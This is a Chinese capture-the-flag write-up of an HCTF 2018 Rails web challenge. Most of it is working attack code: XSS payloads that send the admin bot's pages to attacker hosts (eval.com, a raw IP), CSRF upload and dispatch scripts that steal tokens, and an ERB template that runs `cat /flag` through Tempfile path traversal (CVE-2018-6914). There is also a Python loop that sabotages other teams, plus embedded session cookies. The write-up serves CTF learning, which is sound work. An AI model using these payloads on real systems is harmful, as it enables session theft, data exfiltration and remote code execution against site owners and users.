描述
I have built an app sharing platform, welcome to share your favorite apps for everyone
hint1:https://paste.ubuntu.com/p/VfJDq7Vtqf/
Alpha_test code:https://paste.ubuntu.com/p/qYxWmZRndR/
hint2:
<%= render template: "home/"+params[:page] %>in root_path
hint3: based ruby 2.5.0
URL
基准分数 1000.00
当前分数 965.54
完成队伍数 1
开始做这道题,本来是因为疑似XSS,勾起了自己的兴趣。没想到越往后越坑。ruby真心没见过。最终耗时27小时,终于搞出来了,话说一血还是很开心的。
首先分析一波整到题目,按照题目描述,这个网站是用来共享应用的。
首先用户可以向管理员反馈建议,让管理员将某应用加到网站上。
然后管理员页面会有上传应用到网站上,以及将某应用下发给某人进行测试。
主要页面如下:
用户:
应用展示页:http://share.2018.hctf.io/home/publiclist
通过用户反馈页面,可以尝试插入xss。在这里用img进行测试:
<img src=//eval.com:2222>
然后在eval.com进行监听。
nc -lnvp 2222
成功收到回显,可以得知采用PhantomJS作为bot,然后尝试读取后台源码。
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function getsource(src){
var t = new XMLHttpRequest;
t.open("GET", src, !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(e){
send(e.target.responseText);
}
t.send();
}
getsource("/home/publiclist");
通过后台源码可以发现管理员页面。
管理员:
至此,可以猜测完整利用链为如下:
CSRF上传shell --> CSRF将文件下发到用户端 --> 用户端获得shell链接 --> GET Shell
一开始,按正常逻辑,写出upload的exp, 经本地测试完全可用。然而打过去之后,发现一直报错500。尝试下发的时候,也是500。
真心难受,最后实在受不了问出题人,他说他的payload没问题,可以用的。
最后,在自己和题目的磨磨唧唧中,队友发来了robots.txt里有代码。然后…心态有点炸。就顾xss了,竟然忘了渗透的基本要素,逮到网站先扫扫。
拿到upload的源码如下。
# post /file/upload
def upload
if(params[:file][:myfile] != nil && params[:file][:myfile] != "")
file = params[:file][:myfile]
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
if ext == name || ext ==nil
ext=""
end
share = Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")
share.write(Base64.decode64(file.read))
share.close
File.rename(share.path,share.path+"."+ext)
tmp = Sharefile.new
tmp.public = 0
tmp.path = share.path
tmp.name = name
tmp.tempname= share.path.split('/')[-1]+"."+ext
tmp.context = params[:file][:context]
tmp.save
end
redirect_to root_path
end
可以发现此处上传的文件名和文件内容,都会经过base64解码,所以此时需要修改一下。
最终exp如下:
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/upload", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP");
xhr.withCredentials = "true";
var body = "-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"utf8\"\r\n" +
"\r\n" +
"%E2%9C%93\r\n"+
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"authenticity_token\"\r\n" +
"\r\n" +
authenticity_token + "\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"file[context]\"\r\n" +
"\r\n" +
"1\"\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n" +
"Content-Disposition: form-data; name=\"file[myfile]\"; filename=\"PD9waHAgcGhwaW5mbygpOyA/Pg==\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"PCU9YGNhdCAvZmxhZ2AlPg==\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP--\r\n"+
"Content-Disposition: form-data; name=\"commit\"\r\n" +
"\r\n" +
"submit\r\n" +
"-----------------------------WebKitFormBoundaryunB6T8sJg0SQvlKP\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send(new Blob([aBody]));
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/upload", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();
此时可以成功上传文件,可以在Alphatest页面,查看到当前总文件数。
然后通过CSRF构造下发。
function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//eval.com:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/Alpha_test", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid=30&fid=42&commit=submit");
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/addtest", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();
依旧一直报500,当时很懵,然后电脑刚好没电,没有继续试下去。也没好意思再问主办方,毕竟之前是自己没看源码。
第二天一早醒来...
吃瓜的我,感觉到一股深深的恶意....
接着再试就可以了。此时成功拿到自己上传的文件。然而…有个卵用。
ruby的环境,出题人肯定没有配置PHP解析。然后…该如何是好。恰好中午主办方放出了hint
<%= render template: "home/"+params[:page] %>
可以很明了的看出来,需要通过上传模板,然后进行包含。但是查询资料发现如下。
也就是说,上传文件,必须上传到/app/views/home目录下。此时才可以进行包含。
话说之前一直傻在这里了,否则早就出了。先说下正确做法吧。
文件名:../../app/views/home/test.erb
文件内容:<%=`cat /flag`%>
编码后上传即可。此时便实现了跨目录上传。然后获取到文件名后,通过
http://share.2018.hctf.io/home?page=te20181110-328-zexae3
即可成功包含,获取flag。
做完题目后,在和出题人沟通时,意外得知了一个好玩的。
fid只可以给一次,那么,我可以通过监听,来做到,只要出现新文件,立马给到我的账号。这样别人永远无法获得上传文件。想法很棒,但是现实却很真实,自己第二天写wp才想到要搅屎,此时复现时发现有一个队在做。加紧写出了搅屎代码。然而没卵用,刚写好,跑起来。看见那边二血已经到手。
但最后还是再服务器跑着,以防三血诞生。但是,好像并没有人继续做下去了。
import requests
import re
import time
payload="""
<script>function send(e) {
var t = new XMLHttpRequest;
t.open("POST", "//139.199.107.193:2017", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.send(e);
}
function submitRequest(authenticity_token)
{
authenticity_token = authenticity_token.replace(/\+/g, "%2b");
var xhr = new XMLHttpRequest();
xhr.open("POST", "/file/Alpha_test", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("Referer", "http://share.2018.hctf.io/home/addtest");
xhr.setRequestHeader("Origin", "http://share.2018.hctf.io");
xhr.onload=function(evt){
var data = evt.target.responseText;
send(data);
}
xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&uid={{uid}}}&fid={{fid}}&commit=submit");
}
function gettoken(){
var t = new XMLHttpRequest;
t.open("GET", "/home/addtest", !0),
t.setRequestHeader("Content-type", "text/plain"),
t.onreadystatechange = function() {
4 == t.readyState && t.status
},
t.onload=function(evt){
var data = evt.target.responseText;
regex = /<input type="hidden" name="authenticity_token" value="(.+)?"/g;
submitRequest(regex.exec(data)[1]);
}
t.send();
}
gettoken();</script>
"""
headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=IDl7oRVicLrzfQVGJ32JMMAL%2FkFQRZIqFGC4Az6xEzV2PW%2FG5JHNkaPTCL8McBALbeLexyWC9ltWt%2FU0XAbxnEihvGIQnvvZagnW%2F1I37tAXwbmKG9XUlOp2tkeXTNfVYIIhhzQGiFbfUFFhf2n%2BGRrcw9eu7Tnyn89bsI4fZCvSYgRrZCJJaZGJ%2BaDH8sFoaB1n1spPkQ7%2BHZoCdFdGN9PLPKWv9It3G5UL--FtVXtYfT0mQLejyc--cPeuwvnr0YSug5Ie0XwZCA%3D%3D"
}
def sendshi(uid,fid):
headers={
"Cookie": "_ga=GA1.2.1234049971.1541560268; _gid=GA1.2.395925356.1541764703; _hctf_session=Zt95n%2BqsePGzFV500lXzBLPBbtLVXQNhqypxEw%2Bw%2BrP9Pko9k%2B9jcXuB15FZ27ahSD18NhwxMn2dU7vT9U4GUy%2FIK1Ph2XxeYXNImY36jCqhjYfAlmzIy7hmBkU4MUxC9Y54%2FYCY9s6NOYACi1ZOeXBUmIlw8f1d6TyKQBmn4pRbQkiSRWRRFezqPS8iKpZ%2Bl4B7ZLnwZPky7NC%2BvUTGk5YjTpMZIAdITA88--WH67dwY%2FiXpMn013--hYBC7B4fWamLvU9%2BxFJCAw%3D%3D"
}
url="http://share.2018.hctf.io/recommend/to_admin"
data={
"utf8":"%E2%9C%93",
"authenticity_token":"sK5IwUnkg2m2dVlQHb3DH4/XRQnHlz2BFWz7fEFSYSFhRjtL3cqWBJLd8+qrKwRzSe+4+nQ/lt8NlACosshm9g==",
"context":payload.replace("{{uid}}",uid).replace("{{fid}}",fid),
"url":"",
"commit":"submit"
}
r = requests.post(url,data=data,headers=headers,timeout=3)
print r.status_code
url="http://share.2018.hctf.io/home/Alphatest"
fid=0
uid=0
while(1):
try:
r=requests.get(url,headers=headers,timeout=3)
pattern = re.compile(r'file number:(\d+) your uid: (\d+)')
result1 = pattern.findall(r.text)
if(fid != result1[0][0]):
fid=result1[0][0]
uid=result1[0][1]
else:
time.sleep(1)
print(result1)
contine
sendshi(result1[0][1],result1[0][0])
time.sleep(1)
except:
time.sleep(1)
自己之前一直在纠结可能有其他点,因为之前自己测试的时候,通过../会导致500错误。可能也是因为那一夜,自己有点懵。被500吓怕了。所以往后一直在通过自己本地ruby来测试如何绕过。
测试期间发现。
share = Tempfile.new(name,path)
其中path中,可以用../跨目录,但是name中的斜杠,会被自动删掉,很迷。
然而题目中的可控点又是在name中。
name = Base64.decode64(file.original_filename)
ext = name.split('.')[-1]
share = Tempfile.new(
name.split('.'+ext)[0],
Rails.root.to_s+"/public/upload"
)
所以导致自己把思路放在了这边,没有再次远程尝试。
甚至还动摇了,怀疑page的点没有找到。
最后才发现自己环境不对,两次测试环境,一次是2.3.7,另一次是2.5.3.....
一开始考虑到可能是这个CVE-2018-6914,但是他描述中写的是目录,也就想当然是我以上那个path。
最后用2.5.0终于复现成功
一键ruby环境....
sudo docker run -dit --rm ruby:2.5.0
<%= render template: "home/"+params[:page] %>
如果正常理解以上代码,就是限制包含home控制器下的文件。
但是事实上按照出题给的hint1
如下两个链接包含后都很迷。
http://share.2018.hctf.io/home?page=index
http://share.2018.hctf.io/home?page=../layouts/mailer
首先是第一个index.html.erb,可以假设理解为他的代码存在问题,导致500。(包含失败也是500)
接下来的第二个就更迷了,既然限制了home,为什么还能跳去layouts。当时有点纠结这个问题,导致思维有点乱,心态也有所干扰。
赛后自己尝试了一下。发现只要是views内的内容都可以进行包含。也就是说那个控制器限定没个卵用,但是必须在视图文件夹内。
那么,可以总结一下。
# 可以渲染任意路径文件
render "path"
render file: "path"
# 仅能渲染当前项目下 app/views内的任何内容
render template: "products/show"